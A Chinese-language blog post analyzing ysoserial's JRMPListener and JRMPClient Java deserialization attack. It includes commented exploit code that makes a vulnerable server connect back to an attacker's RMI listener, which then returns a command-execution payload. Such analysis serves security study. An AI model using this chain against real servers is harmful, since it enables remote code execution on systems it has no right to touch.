ysoserial exploit/JRMPListener原理剖析

ysoserial exploit/JRMPListener原理剖析

  • 0 前言
  • 1 payloads/JRMPClient
    • 1.1 Externalizable
    • 1.2 生成payload
    • 1.3 gadget链分析
  • 2 exploit/JRMPListener
  • 3 总结

0 前言

上一篇文章讲了ysoserial exploit/JRMPClient的原理,本篇接着讲一下ysoserial exploit/JRMPListener的原理,相同的思路,我们结合着payloads/JRMPClient来分析。JRMPListener的攻击流程如下:
1、攻击方在自己的服务器使用exploit/JRMPListener开启一个rmi监听

2、往存在漏洞的服务器发送payloads/JRMPClient,payload中已经设置了攻击者服务器ip及JRMPListener监听的端口,漏洞服务器反序列化该payload后,会去连接攻击者开启的rmi监听,在通信过程中,攻击者服务器会发送一个可执行命令的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。

1 payloads/JRMPClient

1.1 Externalizable

在讲payloads/JRMPClient之前,我们先讲一下Externalizable,这是java提供的一个接口,实现该接口的类就具备了可序列化功能,下面总结一下它和Serializable接口的一些相同点与不同点:
1、实现Externalizable接口的类必须重写writeExternal(ObjectOutput out)和readExternal(ObjectInput in)两个方法,在这两个方法中可以自定义序列化和反序列化规则,而实现Serializable接口的类没有需要强制实现的方法。
2、假设类中有些敏感数据,我不希望在网络上传输该对象的序列化数据中包含该敏感数据,两种接口都可以实现:
(1)Externalizable接口,在实现writeExternal(ObjectOutput out)方法时,不对敏感数据进行序列化就可以
(2)Serializable接口,使用transient关键字修饰敏感字段,则该字段将不会被序列化。
对比一下,使用transient关键字修饰其实更方便。
3、两个各有特点,只能是根据不同的业务需求去选择使用。
下面我写了一个关于Externalizable的测试类,来进一步理解Externalizable:

public class Person implements Externalizable {

    private String username; //用户名
    private String password; //密码

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    //在序列化Person对象时,只序列化username属性
    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        System.out.println("writeExternal is running ...");
        out.writeObject(username);
        out.close();
    }

    //反序列化Person对象时,只反序列化username属性
    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        this.username = (String)in.readObject();
        System.out.println("readExternal is running ...");
    }

    //测试
    public static void main(String[] args) throws Exception {
        //如下代码将person对象设值后进行序列化,序列化后的数据存于字节流中
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        Person person = new Person();
        person.setUsername("zs");
        person.setPassword("123456");
        person.writeExternal(oos);

        //如下代码从字节流中获取序列化数据并对其进行反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Person person2 = new Person();
        person2.readExternal(ois);
        System.out.println("username=" + person2.username + " passowrd=" + person2.password);//结果为username=zs passowrd=null
    }
}

1.2 生成payload

以下为payloads/JRMPClient生成payload的代码,我添加了注释,其中通信所需的信息在后面分析中我们会看到其具体的作用。

public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        //命令行获取ip值与端口值
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        //以下信息都是连接JRMPListener通信所需信息
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        //这就是构造的payload,创建了一个Registry类型的代理对象,handler值为上面创建的RemoteObjectInvocationHandler
        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }

1.3 gadget链分析

如下为作者给出的gadget链,可以看到有两部分,其实就是在DGCClient.registerRefs(Endpoint, List)方法中,有两个方法调用,且都对反向连接JRMPListener有作用,后面调试时可以看到。
ysoserial exploit/JRMPListener原理剖析_第1张图片
1、根据上面的gadget链,我们就在UnicastRef.readExternal(ObjectInput)方法中设置断点:
在这里插入图片描述
2、跟入LiveRef.read(ObjectInput var0, boolean var1)方法,可以看到通过反序列化获取到了在生成payload时,创建的TCPEndpoint(包含要建立socket通信的ip地址与端口号)、ObjID对象(对象唯一标识),并使用这两个对象生成了LiveRef对象(该对象的具体作用没进行分析)。
ysoserial exploit/JRMPListener原理剖析_第2张图片
3、继续跟入到DGCClient.registerRefs(Endpoint, List),这里就是上面给出的gadget链中出现两个分支的地方:
ysoserial exploit/JRMPListener原理剖析_第3张图片
4、先进入DGCClient$EndpointEntry.lookup(Endpoint)方法:
ysoserial exploit/JRMPListener原理剖析_第4张图片
5、继续跟入DGCClient$EndpointEntry构造方法,可以看到使用前面创建的TCPEndpoint与DgcID创建了LiveRef对象,并且生成了DGCImpl_Stub代理对象,到了这里就明白了, 其实payloads/JRMPClient也是通过DGC通信,进而反序列化恶意payload的 。最后一行代码就是创建与JRMPListener的Socket通信,由单独的线程负责:
ysoserial exploit/JRMPListener原理剖析_第5张图片
6、DGCClient$EndpointEntry.lookup(Endpoint)分支分析完了,然后进入DGCClient$EndpointEntry.registerRefs(List)分支如下,代码较长,而且不重要,这里就不贴了,直接到最后一行:
在这里插入图片描述在这里插入图片描述
7、进入DGCClient$EndpointEntry.makeDirtyCall(Set, long)方法,还是直接到如下断点位置:
ysoserial exploit/JRMPListener原理剖析_第6张图片
8、由于下一步调用的是DGCImpl_Stub.dirty(ObjID[], long, Lease)方法,前面我们也遇到过,DGCImpl_Stub类是无法调试的,于是直接查看源码,终于看到了熟悉的一幕,前面已经详细分析过了,这里就总结一下,第一个红框是交换一些信息,说明本次是远程调用,第二红框依然是发送一些数据,第三个框是处理响应数据。
ysoserial exploit/JRMPListener原理剖析_第7张图片
9、到了这里后面的流程也很熟悉了,及时不调试,也能猜测到JRMPListener响应的恶意payload只能在下面两个地方触发:
(1)当响应的payload为异常类时,在UnicastRef.invoke(java.rmi.server.RemoteCall)方法中的StreamRemoteCall.executeCall()方法中触发的,如下,应该还记得,case1是正常,直接return,case2是发生异常时,这里会将异常对象反序列化:
ysoserial exploit/JRMPListener原理剖析_第8张图片
(2)当响应的类为正常类时,则就在第八步图中的第四个红框中进行反序列化。
这里后面通过调试,发现是第一种情况,也就是JRMPListener响应回来的是一个异常类,就不贴图了,后面就分析一下exploit/JRMPListener

2 exploit/JRMPListener

由于这里代码量较多,因此就不一行一行写注释了,而且大部分都是通信中交换数据的,之前也分析过,这里就略过通信过程,直接挑一部分重点代码进行分析:

private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(in) {
        ObjID read;
        try {
            //这里读取到的是JRMPClient端发送的DgcID
            read = ObjID.read(ois);
        } catch (java.io.IOException e) {
            throw new MarshalException("unable to read objID", e);
        }

        //这里如果判断是否为Dgc调用,DgcID为[0:0:0, 2]
        if (read.hashCode() == 2) {
            ois.readInt(); // method
            ois.readLong(); // hash
            System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
        }

        System.err.println("Sending return with payload for obj " + read);

        //这里发送81,也是为了防止JRMPClient抛出transport return code invalid异常
        out.writeByte(TransportConstants.Return);// transport op
        ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
        //这里发送2,就会进入分析JRMPClient时的第九步中第一种情况的case2中
        oos.writeByte(TransportConstants.ExceptionalReturn);
        new UID().write(oos);
        //这里生成了一个异常类,其中包含一个Object类型的属性,名为val
        BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
        //这里将恶意payload赋值给了val属性,在反序列化BadAttributeValueExpException类时,val值也会被反序列化,从而触发命令执行
        Reflections.setFieldValue(ex, "val", payload);
        //将payload发往JRMPClient端,payload会被反序列化
        oos.writeObject(ex);

        oos.flush();
        out.flush();

        this.hadConnection = true;
        synchronized (this.waitLock) {
            this.waitLock.notifyAll();
        }
    }

如上代码注释写的很清楚了,这里也明白了在分析payloads/JRMPClient时的第九步中为什么会进入case2。

3 总结

1、如果RMIClient请求RMIServer时的ip地址和端口号是攻击者可控的,则都可以使用exploit/JRMPListener进行攻击(其是通过dgc通信进行攻击),例如RMIClient执行如下代码连接到JRMPListener,即可遭受攻击:

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
Object obj = registry.lookup("xxx");

2、在一些特殊情况下,可以结合payloads/JRMPClient进行攻击。

你可能感兴趣的:(java代码审计)